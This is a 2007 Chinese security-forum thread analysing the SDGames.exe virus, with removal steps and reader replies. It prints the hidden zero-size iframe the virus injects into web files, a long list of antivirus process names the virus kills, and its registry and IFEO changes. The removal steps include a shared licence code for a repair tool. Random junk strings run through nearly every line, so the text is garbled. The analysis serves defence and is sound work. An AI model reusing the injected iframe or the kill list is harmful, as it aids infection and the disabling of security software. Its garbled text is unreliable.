警惕恶性病毒SDGames.exe（小瓢虫） 瓢虫, SDGames, exe

清新阳光

作者：清新阳光                                                            ( http://hi.baidu.com/newcenturysun)
" q4 _7 ~- J+ b, i2 Z0 ]- d' i, F: ?/ p日期：2007/12/08                                                         (转载请保留此声明)
  f$ u5 J9 W( Z; J0 Q" h
% x4 s4 d' P4 U  ^4 u6 I病毒样本来自卡饭，病毒行为恶劣，主要表现为：6 S# u+ }3 i% b6 n( @
1.攻击杀毒软件之后进行IFEO映像劫持8 |) g( E" Y/ K6 C/ q+ C* T8 q4 A
2.感染htm等网页文件
0 d" U. c, w; F5 f, @3.感染或覆盖exe等可执行文件
7 k% _- f* \6 [0 Q+ {% d7 G4.破坏安全模式  Y! r+ D' A* \. P9 y( _5 `
5.破坏显示隐藏文件 文件夹选项等
+ a5 _5 Q) `7 P% {! u6.修改系统时间并锁定时间
: c6 b0 N0 B: B7.可通过U盘等移动存储传播
' {6 j) ]4 ]; ], D% B8.关闭Windows防火墙等服务并打开许多危险服务，并使得用户磁盘被共享
2 \5 [) r0 Q1 @+ Q9.后台添加账户并设定管理员权限7 A/ m1 Y) B4 ~6 y
10.修改某些文件关联, H! Z. j; O( y) V/ ~+ T2 x# [

+ w: d# m$ s  q- @' W下面为具体分析
+ l& p) f! Y( [- ~. G& VFile: SDGames.exe
3 V  P& I0 u4 c2 B- p+ [Size: 59282 bytes  @5 [1 G- y* t% ?; C) q1 M
File Version: 3.02
  O, A$ J8 P; sModified: 2007年12月6日, 17:56:32+ f3 ^2 f3 x9 X  M
MD5: FC334FFCF5AFF3CA8235705D61F629905 `  h# z, Y- T
SHA1: 4DFFE9E9BB666A13CC646EBA4371BDF4AFFB49BC
$ S) R6 ?$ D% zCRC32: 1DD096C2% H# {/ k' t0 h3 z. z

' ^2 }9 P' ~5 X$ D! y1.病毒运行后，释放如下文件或副本1 I" A- l; z& k9 E
%systemroot%\system32\SDGames.exe
& p/ u. b# a( D) f$ c; q/ u%systemroot%\system32\Taskeep.vbs5 e. Q: k3 I( z% H% W
%systemroot%\system32\Avpser.cmd/ x, V/ B: U- |4 `4 J
%systemroot%\system32\netshare.cmd
- y8 p0 Z, h* _+ \$ y4 U/ a1 r%systemroot%\system32\AUTORUN.INF% h! D( ^4 x9 n, v7 K9 W" v: ^
在每个磁盘分区释放SDGames.exe和AUTORUN.INF 达到通过U盘传播的目的5 q$ }& z& K* R4 I
并且在每个分区释放Windows.url，新建文件夹.url，Recycleds.url指向该分区根目录下的SDGames.exe8 S. A. s& X- Z  ?+ F8 a$ d
诱使用户点击
! h. j& T" A2 E  H* H: u; n
0 f9 Z2 `, e) |  s2.修改reg和txt文件关联指向%systemroot%\system32\SDGames.exe
: S  }7 o6 {# h$ U! m2 a/ C( n! ^2 G7 I. ^" F, R% c7 C
3.删除HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}. v' T- M8 y# c" f- J3 t1 l8 ~
HKLM\System\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
  X& `9 X! ?* q6 ~3 THKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
1 A9 S0 {. V& [7 S! [: oHKLM\System\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
" u# m0 Y% [- Y5 |破坏安全模式, k$ Z4 Z1 Y7 H3 A. N0 W

. S3 w6 p0 d. S5 b/ o* }+ Y% h4.创建自启动项目# N/ m- k$ U" D  h' ]" _
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]3 Q# }5 o+ a. |' v
    <load><%systemroot%\system32\SDGames.exe> [SDGame]) Q( t5 M/ I- h
    <run><%systemroot%\system32\SDGames.exe> [SDGame]3 z/ s3 K4 |+ M( T& {) y0 `
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]9 J# b0 F" W  \, e! j( D! B
    <Winstary><%systemroot%\system32\SDGames.exe> [SDGame]1 N8 j* u, v* I3 K1 c

6 F: P: }! R, k9 u5 l5.破坏系统的一些功能
9 L* ^; w( V* L$ {  @. Y0 j+ i6 V禁用cmd:HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD% i6 |" ?3 ~' v8 E# ?2 I
破坏显示隐藏文件：HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
7 N  b: b* k0 m5 ~HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue. C  C1 u4 k5 p
使得文件扩展名无法显示：HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
, D! a( [0 [$ w5 d隐藏控制面板：
; V: j" A! d# W$ Y- I- ^- RHKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel. h) L9 O! H% X9 Q- e3 {  |
禁用注册表编辑器
" N  R( d9 k- x- `- cHKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools
, \# I0 U0 b. s: C, j% @0 n5 ~6 E禁用任务管理器
4 E1 z/ ~3 w+ ?' p& d" b7 p4 T3 @: a6 iHKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
2 M# b6 V9 [+ s" Z; ?修改IE主页为：http://www.*.10mb.cn9 O- s, ?2 J* t  o! e* v& N6 f
修改IE默认页为：wangma) c* i: T4 I6 {7 @2 c/ B& u* H
隐藏文件夹选项
4 N4 Y7 C2 A" b9 C' e+ x6 GHKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions9 s, I5 y: y3 B$ F5 _9 P* G
9 ^+ w7 O8 j/ l! e9 ~
6.关闭如下服务并将其启动类型设为禁用
* U+ \( ~2 [- ~2 t6 e4 D1 tAlg
2 r9 ~( K1 |8 w/ @5 x! Msharedaccess
+ l6 @1 O0 [# Xwuauserv
! `8 W) ^. I' F& i. n
1 D( I) H2 ~. Z% }7.开启下列服务并将其启动类型设为自动) {3 q  g# z/ b- W2 G* n$ I4 }5 I
Terminal Services
' t. y' S( Y7 G0 E- p$ fwinmgmt
. G' h" B) e2 a7 L! X$ mlanmanserver6 t4 h$ U4 w! Q, C3 W
0 J% s2 e/ v, p
8.%systemroot%\system32\netshare.cmd将用户的所有磁盘设为共享$ S3 ?' x. V; l4 ]6 c3 Z  P

2007-12-8 15:54

7 O2 R" h* N1 E# i1 @
& S/ ~6 y) ], o* u0 V9.添加一个名为guest的账户，并将其设置为管理员权限
7 o( p, ]3 L1 m  S* w" I10.攻击反病毒软件，利用Avpser.cmd强制结束一些杀毒软件进程, c5 e$ t  M5 s' F/ T
RavMonD.exe
1 l( B; [8 i: ]* R/ tRavStub.exe' [& h8 t4 V, U+ u" h) S+ J& \
Anti*; B8 K# f1 {2 y9 R9 \. m1 l
AgentSvr*9 L1 D5 O; ?. ~) F2 `
CCenter*  T' a9 L) T; {. r
Rsaupd*
/ D$ e6 d8 M) P( ZSmartUp*
% y' Q  _3 O" d0 x/ XFileDsty*: G2 z; p5 E% x# P) i! M5 I' t
RegClean*
7 P  O2 {/ [% p( q" [360tray*
: k( D, x$ H* ^6 }360safe*
: n* D8 R' t9 U/ O3 r; nkabaload*8 f3 ~  I6 A9 j. f
safelive*
! G0 e6 i; M1 e5 l4 x$ V2 b/ `KASTask*" H7 c% N. T7 ?3 S
kpFW32*, q' L# E! P" R
kpFW32X*- U# I& B; d# y) k+ }7 U
KvXP_1*
: V5 \" n4 i: ^" q5 }) `0 S) dKVMonXP_1*. n: C6 ?- G! z( W+ o8 u$ Z& p" Y
KvReport*
3 ~8 m1 d, A( g& x- X. Q. `6 m" AKvXP*
9 m% C, t& {# W2 ZKVMonXP*
0 O1 j( l  X) l% ?  h& o1 Nnter*, O- d- I" A* f$ U
TrojDie*$ l6 e  _0 B+ z9 `( B! F6 W: v
avp.com0 u7 o& C% d6 l1 `/ V" e# e: i6 x
KRepair.COM( R5 v, J$ w* m6 F
Trojan*
# J/ L& l0 L+ `4 EKvNative*$ s1 F/ K+ b* F1 }3 h9 Z! `2 ^
Virus*, H0 Q% U+ |6 p3 N+ b' A: P# T
Filewall*2 S9 u- x4 o2 @  E4 X0 E- U
Kaspersky*+ U1 \3 K: O. [) H% A
JiangMin*9 i+ v; U' y3 P1 n0 G7 C
RavMonD*
0 C  O- Z1 o2 l+ VRavStub*
! X% a3 p' V) v: ~5 @! CRavTask*
# M; h. u4 Q8 a* V. ~adam*
( K# C5 y$ G0 W1 g! _- VcSet*
6 M) N' `. H% ?" ?7 j8 @PFWliveUpdate*
4 h. A2 \1 a! N+ A0 W6 p( S9 @mmqczj*
' i3 X0 U& I  P( H# ?! r2 tTrojanwall*1 c5 i2 ]9 @& i
Ras.exe6 T4 p5 H. ^/ w' y) [; \  t+ A. a
runiep.exe
* Q0 y$ ?" q; \; D& h  M2 w2 Tavp.exe
  g/ t6 s) b+ m- ]PFW.exe
1 c4 N, Z5 |- vrising*4 s7 t; H4 a3 h1 j
ikaka*
" R* {( g5 Z; T/ p2 G.duba*
- J, r) W4 X# H. U) R) U+ J7 _kingsoft*- E+ o: W& @9 k: k- j. F8 t- L
木马*
8 B! B9 Q% A  r1 N+ f) f8 h3 [, Y: Q社区*% [0 u, K# R/ b6 I- @) m9 x
aswBoot*$ I; V6 t6 T, v  O& S* M5 A+ H
MainCon*
5 ?5 V8 C( M( k; k. c$ H  WRegs*& w3 l3 T% n- Q; }% H
AVP*# y/ A* J  B# c$ T9 M
Task*0 G( n0 E/ _5 d
regedit*
3 O; n$ U, j$ u, LRas*: f6 c+ X3 c5 C4 Y# C' T
srgui*$ i- s( _, L0 K1 {3 c  e  L& H
norton*6 ]; E7 w, x7 q: F: J% w. u0 v
avp*/ r  f9 j9 P" d7 _
fire*$ c0 `1 Y* @# l7 c- ^0 M
spy*6 G# _. s7 d7 @. _- D6 v- G
bullguard*
0 N- v& d, K) e- d0 MPersFw*
8 l: r$ |9 ?5 |* y1 KKAV*! X$ Z. L$ [% E! q
ZONEALARM*: H. U4 t" t" y: ~
SAFEWEB** ^- V; r3 i" f' e
OUTPOST*# v) p+ ^3 p( Z2 w! u' [" G. K
ESAFE*
' z6 ~6 B: h( g# Rclear*
) X- ~- Z6 o4 dBLACKICE*
! i5 ]# f) ?3 R/ [360safe.exe
2 k" D6 f4 G" f5 {6 A& dShadowservice.exe/ A. h9 J' E4 @; w2 H4 w
v3webnt.exe6 o: Y8 o, c; ^% C( X# D
v3sd32.exe
3 ^! r" W; Q" g1 ov3monsvc.exe2 K  I8 Y: k4 a
sysmonnt.exe0 |/ j' u  o' V% b
hkcmd.exe* o, I" J1 R% n2 F: A
DNTUS26.EXE
- v: R5 W7 z2 [- x* c/ p9 i/ jAhnSD.exe
3 d$ a/ H; Z2 [3 J  g+ qCTFMON.EXE
8 I" u  o2 m  M: h; v0 b- OMonsysNT.exe, f: t# l; h0 e. o
awrem32.exe
9 A" K  L0 }6 n. R  oWINAW32.EXE
' L" m# ^$ O& x' g$ ~( r) j1 {PNTIOMON.exe
% k) [+ `. U2 e- V0 f- @" Q# uavgw.exe7 Y% Z! C+ S$ x) V& G. D5 x1 V
avgcc32.exe% L; D3 N# E9 C( o. U$ Z
PROmon.exe' z- D' s" z( c' U
PNTIOMON.exe
+ f# a8 A) w( S( ]# vMagicSet.exe
2 V1 h7 i! \2 r( N1 ^4 KMainCon.exe" f; }5 S3 }* q! d8 K
TrCleaner.exe6 O! o# s% [0 y: C- Y% d  W
WmNetPro.exe- j) b) z! s! g9 e4 U/ n8 j
修复*
6 |3 Z$ K! {5 N) D. z3 L- _, r, @保护*
' p. O6 [# ?! }3 x$ \
# r; `( j& F5 ^$ B6 w11.映像劫持杀毒软件和一些常用工具
0 F8 C2 O4 D' r* s360rpt.exe3 E0 ]# i: s) f" |/ l& h4 u
360Safe.exe
+ S1 ~2 z8 w4 r) [360tray.EXE
' E: Z# w) T2 ?* `. K6 iadam.exe
! u) U6 x& L: V" e5 f) ]% vAgentSvr.exe% e' [; z! N* i0 N9 I1 v
AppSvc32.exe* w8 y- c5 W+ h) d3 v/ y
autoruns.exe
% Y7 w$ M1 M; l2 Vavgrssvc.exe
; M, `) m7 h& C; w1 B  N$ A) y3 FAvMonitor.exe* O/ n6 j7 ]  z# U; F+ L
avp.com
* V' X4 p- u8 c7 v0 V  Davp.exe
$ A% K! ?% }7 n: `# \' N" w7 {CCenter.exe8 s5 E+ V4 R) V8 |3 K% X
ccSvcHst.exe
" x% h! ^, R# m1 K. sFileDsty.exe; Y- e6 m* Q* T9 g
FTCleanerShell.exe
. ?: v$ S5 F% Y3 AHijackThis.exe
9 k& [# O/ [- a0 nIceSword.exe
+ u  \; e: b0 H: kiparmo.exe3 K: @5 Q; ]8 Q* N
Iparmor.exe
& K- s8 b& ?  T5 J6 O% O+ zisPwdSvc.exe! i2 y% h) r2 a0 z, u) K; I. `: v
kabaload.exe
0 h* [9 K1 I, h2 A* o4 F) HKaScrScn.SCR, P& ]* r( T* w" h4 Z; Z& H+ M
KASMain.exe
, {6 n- l0 ?% CKASTask.exe
" C1 b5 _- Y/ gKAV32.exe
% t' V7 b7 {7 M) a0 R: L) QKAVDX.exe
3 R- V; p6 T8 H. P/ w, |KAVPFW.exe# x+ o( P% ~( c' f$ K1 L
KAVSetup.exe
9 n  ~; ~* Q+ b4 m9 |- x' wKAVStart.exe( V9 y  `( @6 z' ~$ q4 g1 m
KISLnchr.exe+ u0 _. O( v+ {+ Y( h$ G& L; y
KMailMon.exe
2 H0 T- t0 [' E- D, yKMFilter.exe" t2 S! D* ]: ]5 T7 V4 ^" N: j
Knod32kui.exe
  Y' V0 }+ L7 q7 o1 Y5 q, R& T7 mKPFW32.exe) s3 `' ^; m$ X$ d- V; f8 S
KPFW32X.exe
; J0 u2 k$ [' [9 yKPFWSvc.exe
9 I' o; h1 `) b( u" `: vKRegEx.exe0 U4 S  V3 Y( t% r: V; ?8 S8 Q
KRepair.COM- Q( O$ B& [  V- Z
KsLoader.exe
) x4 ?% ], v0 ?( u( {KVCenter.kxp: d6 y" _5 e2 B! s( B' n" H# |" r& _
KvDetect.exe
8 M- n6 `# }5 C# AKvfwMcl.exe6 Y" v3 H; z7 c" k4 b3 t
KVMonXP.kxp
) N! q1 X" |) [8 U- v' @KVMonXP_1.kxp3 a' j/ V7 G4 {
kvol.exe
# b) d( E# O& ~: Z& skvolself.exe1 z/ }( E" z) n8 g* y
KvReport.kxp
' w+ E3 `7 p) l: p! j. p& _KVScan.kxp
+ o* c4 z, H$ h9 y3 hKVSrvXP.exe
  z0 g# c! y  P. lKVStub.kxp5 `) _0 c7 s/ D# b+ Q! Y" q' I( z- W, f
kvupload.exe
% \. o% @" A3 ]# Z8 G, akvwsc.exe
8 a) u: c) k9 O8 J; bKvXP.kxp
: H# M5 ]: q% a$ e3 y7 ?( s6 IKvXP_1.kxp
5 Q6 {- V/ d& ?KWatch9x.exe# s. n$ R6 i# p: t# z* X
KWatchX.exe
0 j/ i. g0 w+ B! {) X. C/ Cloaddll.exe
! l  ^; ]& X2 M- |  F8 r! a, g) QMagicSet.exe
1 K* Y: y" B, l: e' e" Y/ N1 FMainCon.exe
. X+ Z! H6 H7 n9 M% O" v  ?mcconsol.exe; M: T9 u+ ]- e* }! X0 v: [
mmqczj.exe  l# D5 z9 i7 ^( Y% `
mmsk.exe
5 C2 w, D1 _" U# u+ Nmsconfig.exe
- ^  D, Z6 z3 {; WNAVSetup.exe1 Q+ [8 g, {" m1 N5 L
nod32krn.exe
. [/ l8 N* R: tPFW.exe6 L4 y" B& s% H8 m* c
PFWLiveUpdate.exe
+ }  C) K2 L0 q+ d& rQHSET.exe
0 K  x" }+ f$ }! D' }QQ.exe
) h, S7 ~# e* YRas.exe
; a" W2 Q# T- W& R& D! eRav.exe
9 n4 @- W* D- R* v- x( }6 NRavMon.exe% g4 W1 H! B8 E- a  G
RavMonD.exe
' S3 z. c$ u- {RavStub.exe
' r# @4 x$ N6 ?! F4 x% ]! KRavTask.exe# s# E; S9 ~3 Z9 f; C! o( W
RegClean.exe# W* }& r! K0 T0 ?) z- Q# ?
rfwcfg.exe4 s% n# |; g" W& h
RfwMain.exe
3 Y; ^8 L, s) f- v& }  K% lrfwProxy.exe
. ^7 x6 [, I7 W  r0 b6 A- M7 n* Jrfwsrv.exe
1 `% h6 D1 u& S+ X" f# S' O# Q3 `Rsaupd.exe
3 ]* z  B7 q) x5 E" v/ j6 P! wruniep.exe
# b6 ^; k5 R5 [$ I$ W' ysafelive.exe; e' m3 y$ |& I7 R
scan32.exe/ U6 @4 Q  @; ^
Shadowservice.exe
% p/ ]' L, n; V4 c% Dshcfg32.exe
5 l; c9 H4 A; b7 K% M! TSmartUp.exe
" e! A6 c" K5 L/ h% z# USREng.exe0 G1 j: }; k( e# }7 K, C
srgui.exe
( C) H+ K; @+ ?. ^$ `) ]  ^4 usymlcsvc.exe
7 d( e/ a. R- X: q$ b* r) HSysSafe.exe: ]4 S1 K/ [7 }( _
TrojanDetector.exe7 o8 `8 S5 U2 h$ b3 d9 b
Trojanwall.exe
. l+ o) e/ I8 l/ [( PTrojDie.kxp: E6 d; t+ @( r& B; t
UIHost.exe
. K* B: m' `, h5 z$ }# RUmxAgent.exe
$ @' X3 S' H4 V" K4 s  f6 gUmxAttachment.exe9 _7 O1 `$ @, i, d- ^6 d
UmxCfg.exe
. @/ r0 }1 K1 g. T+ sUmxFwHlp.exe' k6 |( x$ m6 z  h/ r) t: S
UmxPol.exe
  V: ~* G  t3 Z% j! Z+ fUpLive.EXE.exe. q9 l  H/ ~$ t; z) B6 l
WoptiClean.exe2 L8 u/ f0 U( h9 x
zxsweep.exe
/ C& E) _' B+ A1 a$ n- U" I+ y
12.遍历感染非系统分区的exe文件（覆盖方式）
! K7 J+ o2 _, V# o* E& m

2007-12-8 15:54

! S& C  q) b( z" V  e# n" @) N  j: l$ m* F* v
13.遍历感染非系统分区的jsp asp php htm html hta文件
2 T; ?. q. M0 L; n在其末尾加入<iframe id="iframe" width="0" height="0" scrolling="no" frameborder="0" src="http://*.10mb.cn/" name="Myframe"+ K9 z' a' k! a$ C' ^, Y; c
align="center" border="0">的代码- v5 a' |" J: Q9 G2 O+ t0 \' ]

/ ^' o) x' R2 T8 i: O& H: o) B" F, z  X14.修改系统时间的年份为2030年，并禁止用户修改时间
3 T# X6 ~- K& C8 X* H, y& |9 r
0 U: `$ l8 i6 F) Q15.隐藏系统文件夹3 B$ S1 r2 o0 |3 |

9 X- @9 X% |  D. z" i: G解决办法：
% q$ }) c4 E9 P4 ~% l- a下载sreng：http://download.kztechs.com/files/sreng2.zip
; ]5 |7 o- s- P! I0 S9 HIcesword：http://mail.ustc.edu.cn/~jfpan/download/IceSword122cn.zip
7 d1 f2 P) M2 T+ T; S+ T9 K/ w. K2 {5 }/ I! O
1.解压缩Icesword# l3 e( ]/ U+ H5 ^1 X. k  F6 h
把Icesword改名为1.exe运行
2 G. V6 G6 Y, w$ h* ^进程中 找到SDGames.exe 右击它 结束进程4 k; _( I6 B3 r" ^3 ?$ S. B1 w
然后点击 Icesword左下角的 文件 按钮
/ H3 c  W1 A: M" V  }6 ^- R找到如下文件并删除1 A0 p, |4 k) O# ?; g! R
%systemroot%\system32\SDGames.exe9 Q8 f; t* G/ g3 E
%systemroot%\system32\Taskeep.vbs# b, _" ?: n' Z4 v7 o  c) n
%systemroot%\system32\Avpser.cmd0 g% W: W% i9 U: I: M; U
%systemroot%\system32\netshare.cmd  ]+ y- b  j. E
%systemroot%\system32\AUTORUN.INF1 m+ G' x! p. H7 x: x
以及各个分区下面的& e6 ~$ U4 F% [; R
SDGames.exe,AUTORUN.INF,Windows.url，新建文件夹.url，Recycleds.url5 X" K9 K+ \2 K3 l$ ?! w

2007-12-8 15:54

) g" W( C# U6 w* u) o. W3 w

  G3 w$ C# s: W! @- d2 w2.运行sreng
' }, y( f; v, w9 P& ?9 B! \7 E+ h（由于时间已经被改为2030年 所以sreng会弹出过期提示，不用担心，输入下面的授权码即可使用）
: r9 u, D- U# l. J. K用户名：teyqiu
! f3 w; ^4 _4 R* b2 m授权号：26129027541185431409013556
9 B6 W9 X5 U( X% J( s打开sreng后 点击 系统修复－文件关联－修复! s' d" D8 m1 H4 Y1 _
系统修复－Windows Shell/IE －全选－修复
5 H: P: q8 \* [高级修复－修复安全模式
+ b5 _0 `$ R! i
8 v, o" g3 {) Y: {, H3.还是sreng中
/ Z2 H8 w& D& f/ u+ d+ ^/ x启动项目 注册表 删除如下项目
2 G* F7 F& c; r$ b5 E7 R9 J& [4 v$ `[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]; o6 e& b1 u6 T+ N0 U1 d
    <load><%systemroot%\system32\SDGames.exe> [SDGame]
1 R1 [3 d. R8 V  k- Z    <run><%systemroot%\system32\SDGames.exe> [SDGame]9 z% M" w. @' ?/ ~8 W+ T4 _) S
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]% x# x6 o3 E) d( w0 \
    <Winstary><%systemroot%\system32\SDGames.exe> [SDGame]" q! h* B* {: W3 \& p! Q! N& A
并删除所有红色的IFEO项目% J! {0 X1 W9 K. E3 n" g
启动项目 System.ini
6 [% r# J( W. K! Y8 F% w删除Windows节点* Y5 f0 E: V5 E# j, r- g3 A
+ \5 Y4 b0 ?) s: b: w2 ?
4.取消磁盘共享
7 }( L9 d$ u* `开始 运行 输入cmd 输入如下命令
) g! f" E; R; c: ~: xnet share c /delete! z) M& g. l+ V4 d
net share d /delete
8 D8 d& l- ]/ p5 z" E& l...
4 F  E2 h2 M% l) p  C( I. k以此类推 分别取消所有磁盘分区的共享- Z7 H) J' t3 L/ k1 s+ U
5 n9 `9 O" b3 j' s# [9 A) a# r6 N& t
5.显示系统文件夹
2 N8 u: n/ @( x  v) h开始 运行 输入cmd 输入如下命令
4 Z8 K0 f1 d0 \( ^' ?1 R: J7 lattrib -h %systemroot%\system329 V  r; i4 d# i& q
' H4 }0 V8 D% {2 I+ b  t- b, m
6.修复受感染的htm等网页文件0 E7 O/ T% [- b5 I3 G9 h* H  k
推荐使用CSI的iframkill' ?9 [$ @6 O8 |. ^, H0 i1 \# D) w
下载地址：http://www.vaid.cn/blog/read.php?9

papa

虽然还没有见过这个病毒样本，但是看到“清新阳光”的分析确实很是详细。所以估计着就写了一个批处理，以便帮助中此病毒的用户清理病毒主文件以及修复一些系统异常。希望能对一些朋友有所帮助，当然更希望用户提交样本，以便分析与核实处理方法。
# y- Z& q0 ~4 J) @6 M
9 T0 I! H  c$ R: W3 C7 L使用方法如下：
( ~# F# [% ]" x8 _: P' V8 r: X5 |9 Z& I: q8 {
1.解压缩附件的压缩包，看到3个文件:papa.exe、papa.bat、fix.reg。如图所示：
: Z8 I  Z1 ~$ T# r0 P; k/ ^[attach]16073322[/attach]
( I+ [4 W3 \1 h) S. @4 T1 k
! {2 r3 g  n2 n, J9 R$ P! ]0 @2.双击papa.exe后输入call papa.bat后回车运行即可。（注：call后面有空格）如图所示：
) B' k% h- L5 K- t7 o[attach]16073323[/attach]
9 l: u; N+ S1 D; m3 `& i0 N) D' ]7 U5 c9 o6 A* \9 ~9 r
& [( q8 e+ |& g* D4 d; }
[ 本帖最后由 papa 于 2007-12-10 09:26 编辑 ]

水晶王子

很详细呀，谢谢哦~

amy1989

学习了，谢谢LZ

蓝夜521

好详细啊，嘿嘿{D3}

北京人

学习

ksdbex07080813

很不幸.* j9 h6 r. Q2 `7 C# r/ I# L
我中了.而且不止这一种.粉碎.删除.杀毒.全用过了.还是不行.
" w1 {9 _# {- O$ H6 K: r哪位高人搭救下.

ksdbex07080813

117.76.242..217:1560! c/ C7 Y* [! J7 \9 d7 l3 O
222.80.76.1804 h( ?" |) b7 K
222.45.33.32
3 o+ X/ J- n+ C& j# V, U9 Q6 S, r以上是这种病毒攻击我时留下的端口号．哪位高手．．．？

yuanyujin

{7E(2)}

liuchun121

学习

小可爱

写的很详细！{123_047} {F3(1)}

潇湘剑魔

那就只能系统恢复了，我前几天刚中过，什么办法都不行，所以才系统恢复的，恢复后就好了{78} {78} {78}

潇湘剑魔

huhu5188

{7E(2)} {7E(2)} {7E(2)} {7E(2)} {7E(2)} / @% i) J) @( S
偶毒霸的文件实时防毒怎么总是一打开就立即被关闭了......................
" R# V/ I: b- c: [' ]5 [& h& ^且每个硬盘上都有两个文件：auto.exe和autorun.inf　..........................
7 S7 d1 u+ C7 [) \* Y0 B4 w: V0 h: A2 b  T% A5 n9 P
那位高手支下招呀......

绿天

大家要即时升级杀毒软件{7E(1)}

绿天

打好系统补丁

lishuwencs

这病毒最近这么火吗？看来要给它发个 奖了。

KSDBEX03873735

好详细啊谢谢楼主，

biuesnow

清新阳光：可以教一下我们得到一个病毒样本后如何分析？

tao727773605

最近  老是有人攻击我  怎么反击  我是新手